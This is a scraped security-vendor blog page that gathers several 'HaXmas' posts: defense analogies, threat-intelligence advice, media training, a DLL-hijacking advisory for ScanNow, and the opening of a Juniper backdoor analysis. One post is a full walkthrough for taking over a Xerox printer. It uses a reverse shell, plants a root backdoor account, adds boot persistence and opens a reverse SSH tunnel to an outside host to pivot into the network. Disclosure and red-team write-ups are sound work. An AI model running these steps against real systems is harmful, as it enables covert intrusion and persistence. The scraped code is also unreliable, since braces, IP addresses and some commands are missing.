Skip navigation
All Places > Information Security > Blog

This post is the fourth in the series, "The 12 Days of HaXmas."


As you venture from the world of defense, including protecting and monitoring systems, into the realm of active defense, who can be your mentor? Who can make you as cool as Frosty?

Does anyone know enough about active defense to make a movie out of it?






Macaulay Culkin is the mentor you are looking for. More precisely, Kevin McCallister, from the Home Alone franchise.


Why is an 8 year old better at security than a lot of companies are? Because he realized that no matter what, the house will be breached, or at the very least, targeted, and that what happens after the initial discovery or intrusion will be critical in limiting the impact of the incident.


In this article, we will look at 7 of the best tricks Kevin has up his sleeves, and how they relate to CYBER. Basically, the Elfabet of HaXmas defense.



Active Deception


At around 8m35s into the first movie, Kevin's dad tells one of the burglars, Harry, disguised as a police officer, that they only use standard security measures, such as timers for the lighting.


While Kevin's dad is simply getting phished for information, he accidentally succeeds and ends up deceiving the attacker. He was completely unaware of the security controls Kevin would later implement.


Another failure almost occurs  at around 11m, when Kevin's mom reveals that they're going to Paris.  Luckily, Kevin notices the policeman's tooth-bling, a fact that he checks into in his mental threat intelligence feed.


In the second movie, Kevin has to slow down a different attacker, Sneaky-Face-Spying-Hotel-Employee.  Again, misinforming the attacker helped prevent the attack.


Note: Why was he in the room to begin with? Did he want to steal Kevin's cashews and drinks, or was he going to execute an evil maid attack on Kevin's laptop?


Kevin says: Be careful about how much you reveal on your attack surface, as well as how you protect it. When hiring, why not look for people who have experience with many different security tools, instead of just those you own and use? That way, your job descriptions will not be a tidy list of things to break into, but a list of multiple products you may or may not use.


Zip-Line Cutting


Kevin moves to his tree house. The main path from the house to the tree house is a zip-line.


Clearly, Kevin is trying to teach us that network segmentation should always be in place, and that connectivity between zones should be limited to known, authorized systems, such as him over TCP/zipline.


During the incident, Kevin decides to eliminate connectivity from the main network (house) to the restricted network (tree-house). He simply cuts the zip-line, an obvious methaphor for an ACL, as the attackers are trying to reach it.


Kevin says: Network segmentation has always been important, but why not make it more fun by reacting to specific situations and disabling some types of connectivity when needed, by modifying ACLs on firewalls or host-based firewalls, based on attack data discovered on honeypots, IDS or other systems, or by completely sinkholing suspicious systems?


Cracking and Stapling


Kevin shoots the burglars with a BB gun.


Specifically, he shoots Harry in the Christmas Bells, and Marv on the forehead.

In Home Alone 2, he repeats the same type of exploit (wait, are these movies repetitive? Oh my!), but with a staple gun.




This is a great example of what not to do. Nobody has the right to shoot anyone in the gingerbread, and, like "hacking back", it is probably illegal in many countries.


Kevin says: Only staple HaXmas lights, or OCSP.

Kevin says you should avoid:  Publicly taunting adversaries: "Our new widget is so secure, nobody will ever be able to hack it!". Shooting people in the Christmas Bells. Running BeEF against systems you do not own so you can get a shell on the attacker's machine, before even talking to your lawyer!


Low Friction Ingress Points



Kevin covers the stairs to both the front and rear entrances with ice.

He knows these ingress points are vulnerable, highly privileged entry points into the house, and that slowing down attackers or increasing their pain levels is extremely valuable. In Home Alone 2, he performs roughly the same task by using green soap. Please, tell me that was actually soap.




Kevin says: Make important, highly privileged ingress points slippery, by controlling ACLs strictly, blocking specific geolocations that are not required, using non-default ports to reduce noise in the logs generated from automated attacks or scans, monitoring those logs and blocking suspicious sources.


Tool Management




Kevin, like most CSOs, has many tools at his disposal, but has been having issues hiring. Left with only tools, and no brain power to use them but himself, he has a hard decision to make: Should I buy more tools, or should I throw them all directly in the face of attackers? He makes sure his tools hurt them like a freight train.




Kevin says: Identify the systems that you have, and make sure that you are using all the features that could be useful to you. No more "passive IDS" with nobody reading the logs, no more "sandbox in monitoring mode" with logs going to /dev/null, and no more WAF in learning mode. If you bought it, it should be tuneable to a level that makes it useful, and if you leave it in monitoring mode, there better be somebody monitoring for real. If you bought it, can't tune it, can't monitor it, then disconnect it. Spend your money elsewhere and reduce your attack surface.


Kevin says you should avoid: Physically throwing security appliances, as it quickly gets expensive.


Being a Chess Nut



Kevin, like a true Kasparov of security, knows how real attacks play out. That is why he knew that if he set someone's head on fire, they would go to the obvious target system to extinguish it: a very dirty toilet.


In this analogy, Kevin is using the toilet to represent *honey*. The bear wants the honey, because he doesn't know it's actually paint thinner.


Prior to this response, Kevin used a similar technique, knowing that the attackers would use a specific entry point, to send them to an isolated network, with no actual access to the production house.




Kevin says: Use easy to manage honeypots to detect attackers scanning your network from the inside. Use various other types of honey: honey tokens, to detect stolen credentials, honey tables, to detect unauthorized database access, or even honey files to detect access to files that should never be read. If your coworkers have a tendency to steal candy, make sure you only have blue candy, so you can detect it later on.


Third Party Relationships



Kevin thought the incident was almost over, and all he had to do was to wait for the police to show up. Soon later, he slipped on an unexpected patch of ice, and realized that his issue might be too complicated for him to resolve by himself.


Luckily, Kevin had leveraged third party help, and had access to Incident Response services from a woman and many pigeons, who made sure to end the incident completely.


Kevin says: Know what your team's skills are, and make sure that you know when external help will be needed. Know Who You're Gonna Call™ before the plane takes off without you, and make sure the process and communication plan is well documented and available under any circumstances.


Wrapping Up

You'll know you're doing a good job if all the attackers are doing is yelling meaningless phrases at you while throwing futile attacks. While Home Alone was long thought to be a simple movie about a kid stuck at home, it was actually a great metaphor for information security. It is nothing short of amazing to see how well the writers predicted how cyber-security would come to life, over 20 years later.




Also: What does Santa call his sysadmin little helper who ate too many kernels? FatELF.

Screen Shot 2015-12-02 at 10.28.49 AM.png

This post is the third in the series, "The 12 Days of HaXmas."


“Get the biggest aluminum threat feed you can find, Charlie Brown, maybe painted pink.”


It has been a few years now since the term “cyber threat intelligence” entered mainstream, and since then it has exploded into a variety of products, all claiming to have the biggest, the best, the shiniest, most aluminum-est threat feed, report, or platform. Much of the advertising and media surrounding threat intelligence capitalizes on fear and uncertainty, “you must have threat intelligence or there is a 100% chance you will get hit by OMG-APT-Cyber-Poodle-Heartbleed.” It feeds off of executives’ desires to avoid being the next story in the news about how a breach could have been prevented if only they had employed the latest threat intelligence from company XYZ.


Buy, buy, buy. More, more, more.


Good grief! It can really bring a poor threat analyst down during the holidays.


Screen Shot 2015-12-04 at 5.20.01 PM.png


Amidst the commercialization and fear and the threat-intel-buying frenzy, it is easy to overlook the true meaning of threat intelligence.

Screen Shot 2015-12-04 at 8.22.15 PM.png

Threat intelligence exists to help us make decisions about how to best protect assets with limited time, money, and personnel. Knowing what is likely to affect you - how, why, what to look for, and what you can do about it - and then taking actions to mitigate those threats is what threat intelligence is all about.


Threat intelligence doesn’t have to be about buying something shiny and expensive. For those of you who haven’t seen A Charlie Brown Christmas (and seriously, go watch it when you are done reading this) when the other kids saw Charlie Brown’s Christmas Tree - small, made of actual wood, losing a few needles here and there, and definitely NOT painted pink - they laughed and questioned his ability to do anything right. But that tree turned out to be exactly what they needed to refocus their school play and their mindsets to what they were actually supposed to be celebrating.


Likewise, many organizations have more at their disposal than they know, but because it doesn’t look like what marketing says threat intelligence should, it is often scoffed at and overlooked. Business priorities, asset management, log data, lessons learned from a partner’s (or their own!) breaches or incidents, reports of phishing emails that come in from employees, open source news feeds, blogs, and non-commercial reports are all things that can be used as the foundation for a threat intelligence program.  


Many companies are eager to purchase some variety of threat intelligence while overlooking the wealth of information they currently have at their disposal. That information is priceless, but like Charlie Brown’s Christmas tree, it just needs a little love.


If Charlie Brown was in infosec he would understand that the true meaning of threat intelligence is to identify and respond to threats in order to change outcomes. Charlie Brown Threat Intelligence is about looking past the commercialization bombarding us and learning what we can do with what we have, because truly that is the very best place to start. 


How to make the most of Charlie Brown Threat Intelligence:


  • Screen Shot 2015-12-21 at 9.17.16 AM.png

    Understand business priorities: It is impossible to protect your business or your information from threats if you don’t actually know what you are protecting. What are the systems, assets, or information critical to meeting business objectives? Analyzing business priorities is something that all companies can do for themselves and it is the first step in utilizing threat intelligence.


  • Identify what you can change, and what you can’t: Threat intelligence is about identifying threats in order to change outcomes- outcomes do not change themselves, this means that some sort of action is taken. Focusing time and effort on something that you can’t change will waste time and resources. However, if you are unable to change something that you think is critical to the security of your organization you can use threat intelligence to build the business case for making the change while still making strides towards changing what you can now. 


  • Keep an eye on the news: Maintaining an awareness of what is going on in the news can help you stay ahead of threats. Sure, if they are in the news they are not always the late-breaking, cutting-edge threats, but that doesn’t mean they won’t still hit you...or haven’t already. Likewise, you are in the best position to know whether something in the news has the potential to affect your organization and how serious the impact would be. Use that knowledge to start planning how to detect and respond to that threat in your environment.


  • Training: I am a firm believer that trained personnel are critical to an organization’s ability to protect itself. Your platform or your threat feed is useless without someone to implement it and interpret the results. It’s not just threat analysts who are supporting threat intelligence: IT, SOC, IR, every employee who touches your network can learn how to identify and better respond to threats. We said that threat intelligence needs a little love, and these are the people who are going to be providing the care and feeding it needs to thrive. Invest in your people.


  • Identify your gaps and find something that meets your needs: There is definitely a place for threat intelligence services in the equation, but it comes after a good hard look at your objectives, what you have, what you still need, and what you can realistically implement and support.


You may not need the shiniest, most expensive threat intelligence product to make your program successful, in fact, most organizations don’t. What they need to remember is the true meaning of threat intelligence, asses their own needs, capabilities, and priorities, and start taking steps to better understand and respond to the threats facing them.

This post is the second in the series, "The 12 Days of HaXmas."


By Deral Heiland, Principal Consultant, and Nate Power, Senior Consultant, of Rapid7 Global Services


Year after year we have been discussing the risk of Multi-Function Printers (MFP) in the corporate environment and how a malicious actor can easily leverage these devices to carry out attacks, including extraction of Windows Active Directory credentials via LDAP and abusing the "Scan to File" and "Scan to E-mail" features. To take the attack against MFP devices to a new level, we recently used an MFP device during a red team exercise to hide our location while we pivoting our attacks through the MFP in order to target Windows Active Directory. We figured it's time to share the details of how a malicious actor can use a compromised Xerox Workcentre MFP as a Advanced Persistent Threat (APT). So, as a HaXmas present, we dedicate this blog to those that have kept saying, “Really, it’s a just a printer, what risk is there!




The first thing is to identify a Xerox Workcentre MFP vulnerable to firmware injection attack on the network you have compromised. Even though this technique was published back in 2012, a large number of Xerox Workcentre MFPs are still vulnerable to this exploit, thanks to a lack of rigorous updating around IoT devices like our MFPs. This can be easily validated using the Metasploit module xerox_mfp. If the device is not vulnerable then this attack will only print a page of worthless data. If it is vulnerable then you get yourself a reverse shell to the device with root level privileges.


Within Metasploit select the xerox exploit module :



Next select the reverse bash payload to use with the module:


  • set payload cmd/unix/reverse_bash


Finally set the target IP and local IP addresses with the following commands:


  • set RHOST ipaddress
  • set LHOST ipaddress


It is recommended that you set wfsdelay to 30, since the printer may be in sleep mode when you launch the attack. This will increase the delay when waiting for a session to connect back to your listener:


  • set wfsdelay 30


Once this is completed you can launch the exploit by entering exploit or run. The Xerox exploit will launch the firmware injection attack and return a remote shell with root level access to the MFP as shown below in Figure 1:


Figure 1: The Xerox MFP Patch DLM Exploit


Set Up and Enable SSHD


Once you have gained root level access to the MFP device there are a number of steps that must be taken to configure the device to be able to properly handle SSH tunneling. The first step is to set up SSH host keys so you can run an SSH daemon service on the MFP device. The following steps will create the needed keys.


Enter the following commands to generate dsa and rsa key pairs:


  • ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key
  • ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key


When prompted to enter passphrase just hit enter. An example of generating the keys is show below in Figure 2:


Figure 2: Set Up SSH Host Keys


Now you can start the SSH daemon with the following command:


  • /usr/sbin/sshd


Once the SSH daemon is started I like to validate it is running by checking the process with the following command:


  • ps –ef |grep sshd


As can be seen below in Figure 3 the SSH daemon is started and in this case has the process id of 17808. The error for version 1 is normal and expected.


Figure 3: Starting sshd



Set Up and Enable Key Authentication


Now that the SSH daemon is running we need to generate public and private SSH keys. This is going to allow us to establish an SSH connection from the printer to our SSH server on the Internet. For the purposes of this write up we named the Internet SSH server “bouncebox”.



First, from the printer, we create a folder named .ssh in the root home directory. This folder is where the SSH keys generated will be kept. We do this using the following commands:


  • cd / && mkdir .ssh && cd .ssh


Now that our .ssh folder has been created, let's generate the SSH keys. This can be done using the following command:


  • ssh-keygen -t rsa


When prompted, just hit enter to save the newly generated keys in the default location which is the .ssh folder we created. When prompted to enter a passphrase, just hit enter.

f4.pngFigure 4: Creating an SSH folder and generating public and private SSH keys


Below, we verify the SSH keys were properly created. Now we need to add the SSH public key to the authorized_keys files located on bouncebox. This can be done using the following commands:


  • cat /.ssh/ (on printer)
  • vi ~/.ssh/authorized_keys (on bouncebox)



Figure 5: Verified SSH keys are generated


Now that this key is configured on our bouncebox, we can establish SSH connections from the printer to the bouncebox without having to deal with a password prompt.


Note: Allowing the printer to ssh to your bounce box allows anyone with access to that printer to do the same. For this reason, make very certain that you do not store sensitive data on the bounce box.



Create User Account


Although we have root access to MFP we don't have the password and I am not going to give it to you. So unless you want to take the time to crack it the best thing is to create a user and add that user to the root group so we can use it during the SSH tunneling operation. Unfortunately the embedded Linux Wind River versions installed on the Xerox Workcentres does not have the adduser command so a user will need to be created using a manual process. This will require altering three files. This problem is also compounded by the lack of a good editor program, mainly because the bash shell can not properly handle the vi editor.


So to be safe the first step is to make backups of the three files we will be editing.


  • cp /etc/passwd /etc/passwd.bck
  • cp /etc/shadow /etc/shadow.bck
  • cp /etc/group /etc/group.bck


Again i always validate my files have been backed up before continuing. This can be done with the following command as shown in Figure 6:


  • ls -al /etc/*.bck

file_bck.pngFigure 6: File backup


The first file we will alter is the /etc/passwd file. We will append the new user information to this file using the following command.  Also very important to not mess up the double redirect >>. A single redirect will overwrite the entire file which would be a serious pain, but if that happens, we do have backups.


  • echo “bob:x:0:0:root:/:/bin/bash” >> /etc/passwd


If everything is done correctly your passwd file should look like Figure 7:

passwd.png  Figure 7: Passwd file


Next file to change is the /etc/shadow file. This change is done like the passwd file by using echo and double redirect we append the needed data to this file. So enter the following command to make this needed change:


  • echo “bob:E9lQCJhXRn9sc:16781::::::” >> /etc/shadow


Again, if everything is done correctly your shadow file should look like Figure 8:

shadow.pngFigure 8: Shadow File


The final file that needs changed is the /etc/group file. In this case we will making two changes. the first change is to append the new user information to the end of the file with the following command:


  • echo “bob:x:102:” >> /etc/group


The second change involve using sed in an in-place edit mode to alter the root group setting to add bob to the root group. This is done with the following command:


  • sed -i 's/root:x:0:root/root:x:0:root,bob/' /etc/group.tmp


Again if everything is done correctly your group file should look like Figure 9:

group.pngFigure 9: Group File


Now that you have changed all three files successful you have one final step. That step is to change the password for bob because I am not sure what the heck that string in the Shadow file will do. I guess the worse case it gives you a password of “test123” So to change the password enter the following command and follow the prompt:


  • passwd bob


You should see the following prompts and confirmation (Figure 10) once the password has been changed.

change-passwd.pngFigure 10: Password Change



Start Reverse Tunnel BounceBox


Now that all the SSH keys are in place, sshd is running and user account has been created you will need to start up your ssh tunnel on the MFP. The following command will connect to your bouncebox over SSH port 22 and create a local ssh tunnel on port 12345 at  Remember to set the bouncebox to the correct IP address and username to correct name of account you added the key to known_hosts for.


  • /usr/bin/ssh -N -R 12345:localhost:22 username@bouncebox -f



Establish Reverse SSH Tunnel Connections from Localhost to MFP


After the printer successfully establishes an outbound SSH connection to the bouncebox, we can use this connection to tunnel back into the target network. This is accomplished by using a series of SSH commands to create the reverse SSH tunnel.


First, from our remote attacker machine we SSH into the bouncebox using the -L option. As stated in the man page, the -L option specifies that the given port on the local (client) host is to be forwarded to the given host and port on the remote side:



  • ssh -L 31337:localhost:12345 username@bouncebox


f11.pngFigure 11: SSH from attacker machine to the bouncebox on port 22


In our example here, we SSH to the bouncebox on port 22, after the connection is established, a localhost listening port 31337 starts on the attacker machine (Figure 12). Any SSH traffic sent to port 31337 will now be forwarded to the bouncebox on port 12345 (Figure 13):

f12.pngFigure 12: Port 31337 listening on attacker localhost interface

f13.pngFigure 13: Port 12345 listening on bouncebox localhost interface


Now that we have port forwarding established on the bouncebox, we can connect to the printer via the localhost SSH port 31337. Using the -D option allows for dynamic port forwarding, which enables a SOCKS server that allows us to send traffic via the printer’s network interface. The dynamic forwarding will provide us with the means to use tools such as a port scanner from the attacker machine through the bouncebox and out to the target network where the printer resides.


  • ssh -D 1080 bob@localhost -p 31337

f14.pngFigure 14: Dynamic SSH tunnel via the bouncebox to the printer from the attacker machine



Enable Persistence


Also if you want to make this persistent you will need to add the correct system start file. In this case, the Xerox Workcentre does not have Crontab. I found the best method is to create a file in /etc/init.d and add a symbolic link to the /etc/rc.d/rc3.d folder. This will ensure every time the printer resets or restarts, your tunnel will be reestablished; that's why they call it an Advanced Persistent Threat (:.


So now we have sshd running there should be no need to use Metasploit reverse bash shell to connect to the MFP. If you followed above directions you should be able to login to the MFP from your host system with the command:


  • ssh bob@localhost -p 31337
  • vi start_evil


Once in vi add the following commands to the file and save it out:




#startup ssh daemon service


#initiate the ssh tunnel to the bounce box

/usr/bin/ssh -N -R 12345:localhost:22 username@bouncebox -f


Ok the final step is to create a symbolic link in the folder /etc/rc.d/rc3.d/. This is easily done using the following commands:


  • cd /etc/rc.d/rc3.d/
  • ln -s /etc/rc.d/init.d/start_evil S777_start_evil


Now if the MFP is reset or rebooted it should re-establish your ssh tunnel connection back out to your bouncebox.



Using ProxyChains and SOCKS Proxy


To be able to use our attack tools from our attacker machine we use the proxy server software ProxyChains. This allows us to push traffic through our dynamic port forward we previously established.


On the attacker machine, we install ProxyChains. To be able to use our dynamic port forward, we edit the configuration file /etc/proxychains.conf and add the following line:


  • socks4 1080


f15.pngFigure 15: ProxyChains configuration file


Now that ProxyChains has been configured, we can start using our attacker tools. In the example below we use the port scanner tool nmap to scan a Windows system located in the target network. This is accomplished using the following command:


  • proxychains nmap -Pn -sT -p 445,3389


f16.pngFigure 16: Port scan via our dynamic tunnel


Now that we have identified a Windows system, we connect to the remote desktop service using the command:


  • proxychains rdesktop


f17.pngFigure 17: Remote desktop via our dynamic tunnel


As a proof of concept we log on to the Windows system via remote desktop and run the netstat command to evaluate established connections. Here we can see the printer ( is making an established connection to the Windows server ( on the remote desktop port 3389.

f18.pngFigure 18: Verified connection from printer




Merry haXmas to all the MFP lovers around the world

Ho ho ho, Merry HaXmas! For those of you new to this series, every year we mark the 12 days of HaXmas with 12 blog posts on hacking-related topics and roundups from the year. This year we’re kicking the series off with something not altogether hackery, but it’s a gift, see, so very appropriate for the season.


For the past couple of years, I’ve provided free media training at various security conferences, often as part of an I Am The Cavalry track, and often with the assistance of a reporter. Big thank yous and lots of adoration for SantaJen’s helpers: Steve Ragan - my most frequent partner in crime - Paul Roberts, and Jim Finkle.  In the spirit of giving that is synonymous with HaXmas, the purpose of this blog is to make that training freely available to anyone that’s interested.


Why are we doing this?


It’s pretty simple really: I believe security professionals have important information to share, which can help individuals and organizations understand how they are at risk, and what they need to do to protect themselves. You could say that’s a gift, and I reckon it’s pretty valuable.


The media can be a fantastic way of disseminating information broadly, and the good thing is that a lot of publications have dedicated security reporters these days. Unfortunately that doesn’t mean it’s all smooth sailing.

The challenge comes in the details. Security pros are typically dealing with a pretty complex and nuanced subject matter.  Media is driven by attention-grabbing headlines and a need to feed the attention-spans and limited knowledge of readers.  As a reporter, you have to cater to people with a range of familiarity, understanding, and interest in the subject matter, even if you write for a specialist security title. There can be a vast distance between the deep technical knowledge of a security pro, and the will-my-editor-like-it need of reporters, and that provides much opportunity for misunderstanding, misreporting, or oversharing.


NB: One thing I want to flag here is that my media training isn't about an adversarial relationship between spokesperson and reporter; it's about optimizing the engagement for a better result all the way around. We don't train people on this because we believe reporters are evilly conspiring against us. In fact, part of the reason I try to train with a reporter is to help build a greater understanding of their world, including their motivations, pressures and challenges. The training does talk about how to navigate certain reporter "techniques," but often these actions arise unintentionally, or for valid reasons (eg. a reporter going quiet on a call to catch up with their notes). You won't always encounter these techniques anyway, but if you do (and regardless of why they are used), you are better off knowing how to handle them.


So in a nutshell, the media training I deliver is designed to help security pros share the information they have in as impactful, non-FUDy, and helpful way as possible. My goal is that we’ll get better at making security relevant beyond our echo chamber, and in turn we’ll help people understand it and protect themselves.


Oh, and it probably doesn’t hurt that getting good at briefing press helps our industry, and helps you as an individual build your career.


So what am I actually giving you?


Having received several requests for my slides, I created a deck designed for people to “self-teach,” which you can download here. And yes, people have been known to pay me to media train their spokespeople, so this is free professional training, as promised in the title.


The presentation is licensed for use under the Creative Commons BY 4.0 license, so you can feel free to share it. If you end up using to it to build an amazing career as a media trainer, I'd appreciate a cut of your newfound riches .


[If you feel that this is not hackery enough to be considered an appropriate gift for HaXmas, you can think of it as me teaching you how to “hack the media for fame and profit,” which is the title I sometimes present under at cons.]


Want more?


For those that want even more advice, Steve Ragan and Violet Blue have both written posts on interacting with media at conferences:


If you have specific questions, drop them into the comments section and I will try to answer them. If you have examples of putting the training into practice, I love to hear about it – let me know!

Merry HaXmas!





On November 27, 2015, Stefan Kanthak contacted Rapid7 to report a vulnerability in Rapid7's ScanNow tool.  Rapid7 takes security issues seriously and this was no exception.  In combination with a preexisting compromise or other vulnerabilities, and in the absence of sufficient mitigating measures, a system with ScanNow can allow a malicious party to execute code of their choosing leading to varying levels of additional compromise.  In order to protect the small community of users who may still be using ScanNow, Rapid7 has made the decision to remove ScanNow and advises any affected users to remove ScanNow from any system that still has it.


Vulnerability Details


Rapid7's ScanNow is a collection of several separate, standalone executables built over the past several years designed to give users and the community the ability to quickly audit themselves for some higher profile vulnerabilities that have made varying levels of headlines during this time:



The vulnerability disclosed to Rapid7 by Stefan is a generic vulnerability whose most official name is DLL Search Order Hijacking, but is also referred to as DLL side loading, DLL pre-loading, binary planting, binary carpet bombing, or similar names. DLL search order hijacking went more mainstream in 2010 when ACROS Security published extensive information about it here and has affected hundreds of products over the years and continues to do so.


This class of vulnerability occurs when a Windows application attempts to load a DLL or other library and does so with an unqualified search path. When the search path for the DLL is not sufficiently qualified, Windows has a predefined list of places that it will check for the library in question.  Included in that list are locations that could be untrusted or insecure, and if the library in question is found in one of those locations, it is possible that the loaded library contains malicious code which could lead to arbitrary code execution when the target executable is launched.


Upon investigating this vulnerability report, Rapid7 discovered that none of code written by Rapid7 for ScanNow utilizes any of the potentially vulnerable Windows API code for loading libraries or executing processes, let alone in such a way that allows the vulnerability to be exploitable in any scenario.  Instead, the vulnerability is present in ScanNow because of they way ScanNow is packaged and distributed, part of which includes 7-zip.  7-zip can be used for several things.  In the case of ScanNow, it is used to create a standalone self-extracting archive executable (SFX), which is basically just an executable that, when run, unpacks the actual ScanNow executable along with any resources it needs, and then runs ScanNow itself.  The root cause appears to be the same thing that affected the Mozilla Foundation in 2012 after a posting to full-disclosure.  It appears that this vulnerability remains unfixed, and another advisory posted by Stefan shortly after he contacted us indicates that in addition to 7-zip itself being vulnerable to DLL search order hijacking, all self-extracting archives created with 7-zip are also vulnerable.


At the current time, Rapid7 has assigned a CVSS vector of (AV:N/AC:H/Au:N/C:C/I:C/A:C) with a corresponding score of 7.6 to this vulnerability, but we also realize the particulars around the real risk posed by this vulnerability are complicated and not easily reflected in a CVSS vector.


Exploitation Scenarios


When DLL search order hijacking vulnerabilities are discussed, the topic of whether or not these are remotely exploitable is an almost inevitable point that is raised and quickly detracts from the issue at hand due to the reaction it typically invokes.  While we are of the opinion that calling this a remotely exploitable vulnerability is a bit inaccurate, it is important to understand that there are "remote like" characteristics of this as shown below.


Exploiting a DLL search order hijacking vulnerability on Windows is not all that much different than exploiting LD_PRELOAD and similar style vulnerabilities in the UNIX world, namely that to exploit it, somehow a malicious library must be placed in a location that will be searched by the target application before the correct, expected library is found and loaded by an affected vulnerable application.  There are numerous ways this happens, including:


  • A malicious local user or process that can write arbitrary content to a file that is located in a directory that will be searched when trying to locate a DLL for loading by the target application.  This could happen as the result of another previously exploited and unrelated vulnerability.
  • That malicious DLLs have been somehow delivered to inadequately protected directories using something like a drive-by download vulnerability.
  • Social engineering.


Additionally, the target system and application must be free of hardening measures designed to mitigate or prevent exploitation of this style of vulnerability.


As a trivial example of how this could be exploited, I used the following code, which simply launches the Windows calculator, calc.exe, whenever this DLL is loaded:


#include <windows.h>

int hijack()
  WinExec("calc", 1);
  return 0;

BOOL WINAPI DllMain (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
  if (fdwReason == DLL_PROCESS_ATTACH)

  return TRUE;


Then, link and compile as usual.  In this case, I used mingw:


$  i686-w64-mingw32-gcc -c -o dll-hijack.o dll-hijack.c 
$  i686-w64-mingw32-gcc -shared -o UXTheme.dll dll-hijack.o -lcomctl32 -Wl,--subsystem,windows


Then, I copy the malicious DLL (there can be several) to the directory where ScanNow lives or to the directory from which the call to ScanNow is made.  In this particular case, I simply deposited the malicious example DLL in my Downloads folder:




Then, when ScanNow is executed, either with an unqualified path when in Downloads or with a fully-qualified path, you can see that calc was executed, proving the existence of this vulnerability:




Obviously, the final part of exploiting this is getting the target system to somehow run ScanNow in a vulnerable environment which could happen with social engineering, exploiting another perhaps unrelated vulnerability or just getting lucky.


Remediation and Mitigation


The nature of how ScanNow is built, distributed and used in combination with the particulars surrounding the vulnerability, its exploitation and the ways to mitigate it complicated Rapid7's response to this vulnerability.


It should be noted that there are various hardening techniques provided by Microsoft and others to help mitigate or prevent this class of vulnerabilities, however they are far from fool-proof and Rapid7 has experienced limited success when utilizing them to mitigate this particular vulnerability.  Some of these were:


  1. Microsoft Security Advisory 2269637 is not especially relevant in this particular case.  This is essentially Microsoft's response to when this class of vulnerability first really went like wildfire back in 2010, and in it they list all vulnerabilities to date in Microsoft products that were of the same basic class (DLL Search Order Hijacking), of which there have been 28 MS advisories and a handful of generic MS KnowledgeBase or TechNet items since its initial writing in 2010.  That is quite a few.  However, only the solutions in two of them are even potentially relevant when discussing this vulnerability, and, as I describe below, most of these were also found to be problematic.
  2. Dynamic-Link Library Security (Windows) is not really relevant in our case because we don't control the code that is making the insecure calls.  Otherwise this would be a fine option.
  3. Dynamic-Link Library Search Order (Windows) sounds like it should work.  It basically helps when an application doesn't follow the previous recommendation, and the lock-down needs to happen on the client running the application rather than when it is built.  We found this unable to prevent against exploitation of this vulnerability (in fact, the screenshots above were done on a system configured as suggested in this link).  Why is currently unknown and may be an area for future research.
  4. CAPEC - CAPEC-471: DLL Search Order Hijacking (Version 2.8) does an OK job at explaining what a DLL search order hijacking vulnerability is, how it is exploited and suggests CAPEC - CAPEC-159: Redirect Access to Libraries (Version 2.8) as a solution.  That solution actually gives 3 options.  The first two are essentially identical to the previous two bullet points (source code modifications, which are, again, not applicable in our case and client-side hardening, which we found to be ineffective in this instance).  The third and final suggestion is to sign system DLLs, the responsibility for which is Microsoft's in this case (right?), and would only be applicable if the affected application was only insecurely loading system DLLs (as opposed to non-system DLLs).  In the case of ScanNow, both Stefan's POC and ours utilize UXTheme.dll, which normally exists as uxtheme.dll on most Windows operating systems since XP in the usual locations buried under C:\Windows.  Had a signing solution been available, it is assumed that the vulnerability would be mitigated to some extent, but signing DLLs is a relatively easy process and there are ways to attempt to bypass signing checks like this.  In other words, signing helps, but perhaps not when facing a super determined adversary.  Furthermore, Stefan's POC which he has been using for several years in the security community, called sentinel, is signed, and it was reported that there were other avenues to exploit this class of vulnerability in ScanNow beyond UXTheme.dll which may or may not be signed by default.

  5. CAPEC - CAPEC-159: Redirect Access to Libraries (Version 2.8), is a similar but slightly different vulnerability, and unfortunately its solutions mimic what others have suggested above which were shown to be not relevant or ineffective for various reasons.
  6. Both CWE - CWE-426: Untrusted Search Path (2.9)  and CWE - CWE-427: Uncontrolled Search Path Element (2.9) cover vulnerabilities and solutions that are practically identical to everything above with the aforementioned flaws.
  7. Oftentimes, suggestions are made to advise against or prevent the execution of executables that live in unprotected locations and to avoid running executables when the current working directory is untrusted.  Download and other temporary directories are great targets for this for this vulnerability, and while following this advice would help, it also makes the system a bit of a pain for the end user.  The result is basically finding a compromise between security and usability, and usability may win in many environments in this regard
  8. UAC Group Policy Settings and Registry Key Settings shows that there are some settings that exist on UAC enabled systems to control elevation to administrator by installers automatically and, when disabled require that the user can authenticate successfully as an administrator before allowing the installer to utilize administrative privileges.  When this setting is disabled, all it does is prevent the immediate and easy jump from exploiting a DLL search order hijacking vulnerability in an installer to obtaining administrative privileges.  In other words, the vulnerability was still exploited but the current damage was stopped before further elevation of privilege.  While this setting is disabled on all all Windows enterprise operating systems, Windows home users systems have this setting enabled by default and are subsequently at risk for this turning into a quicker EOP.


In short, there appear to be very few workable options for the occurrence of this vulnerability in ScanNow, and it seems like this is a predicament many will have to contend with when faced with a DLL search order hijacking vulnerability.  Both of these areas may be ripe for future research.


Anyone who has downloaded ScanNow is advised to locate and remove the affected executables.  For any users who still have a need for ScanNow, both Metasploit and Nexpose have better coverage for the vulnerabilities that ScanNow previously covered.  For anyone who registered when downloading ScanNow over the years, Rapid7 will also be attempting to reach these users to advise them of the situation.


Rapid7 would like to again thank Stefan Kanthak for responsibly disclosing this vulnerability.

On December 18th, 2015 Juniper issued an advisory indicating that they had discovered unauthorized code in the ScreenOS software that powers their Netscreen firewalls. This advisory covered two distinct issues; a backdoor in the VPN implementation that allows a passive eavesdropper to decrypt traffic and a second backdoor that allows an attacker to bypass authentication in the SSH and Telnet daemons. Shortly after Juniper posted the advisory, an employee of Fox-IT stated that they were able to identify the backdoor password in six hours. A quick Shodan search identified approximately 26,000 internet-facing Netscreen devices with SSH open. Given the severity of this issue, we decided to investigate.


Juniper's advisory mentioned that versions 6.2.0r15 to 6.2.0r18 and 6.3.0r12 to 6.3.0r20 were affected. Juniper provided a new 6.2.0 and 6.3.0 build, but also rebuilt older packages that omit the backdoor code. The rebuilt older packages have the "b" suffix to the version and have a minimal set of changes, making them the best candidate for analysis. In order to analyze the firmware, it must be unpacked and then decompressed. The firmware is distributed as a ZIP file that contains a single binary. This binary is a decompression stub followed by a gzip-compressed kernel. The x86 images can be extracted easily with binwalk, but the XScale images require a bit more work. ScreenOS is not based on Linux or BSD, but runs as a single monolithic kernel. The SSG500 firmware uses the x86 architecture, while the SSG5 and SSG20 firmware uses the XScale (ARMB) architecture. The decompressed kernel can be loaded into IDA Pro for analysis. As part of the analysis effort, we have made decompressed binaries available in a GitHub repository.


